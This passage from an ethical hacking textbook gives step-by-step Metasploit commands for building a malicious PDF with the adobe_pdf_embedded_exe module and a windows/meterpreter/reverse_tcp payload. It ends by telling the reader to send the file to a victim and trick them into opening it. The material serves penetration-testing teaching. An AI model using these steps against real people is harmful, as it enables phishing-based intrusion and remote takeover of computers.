Ethical Hacking and Penetration Testing Guide

Adobe PDF Embedded EXE
This is one of the most popular PDF exploits in Metasploit. This exploit embeds an executable in 
a PDF document and takes advantage of the PDF launch action vulnerability found inside the 
previous versions of Adobe Reader to exploit it.
The best exploit for the ABC company scenario will be a fileformat exploit, and what could 
be better than to use an Adobe PDF Embedded EXE for this task. So let’s go ahead and create a 
malicious PDF template with Metasploit.
Step 1
—Fire up Metasploit by typing “msfconsole” in the terminal.
Step 2
—Next, type in “use exploit/windows/fileformat/adobe_pdf_embedded_exe”.
Step 3—
Next, type “show options”. It will display the requirements you need to in order to 
create a template. You can use a predefined template, e.g., evil.pdf, or define a PDF that you 
want the exe to be embedded in.
We can also see that the “INFILENAME” is required, so we need a blank PDF file in which it 
will embed the exe. You can use any PDF file you want.

---

Client Side Exploitation
◾ 
211
You can also edit the launch action message depending upon the scenario. You can do this by 
typing the following command:
set LAUNCH_Message
Step 4
—Once you are done with the exploit part, you need to choose an appropriate payload. 
To choose a payload, type the following command:
set payload windows/meterpreter/reverse_tcp
The payload will be followed by the LHOST and LPORT
Step 5
—Then type “exploit” and it will generate your malicious PDF file. It will save the PDF 
file in the 
/root/.msf4/local/
directory.
Finally, we will send it to the victim and trick him into executing it. Once it is executed, you 
will have injected a Meterpreter shell on his computer.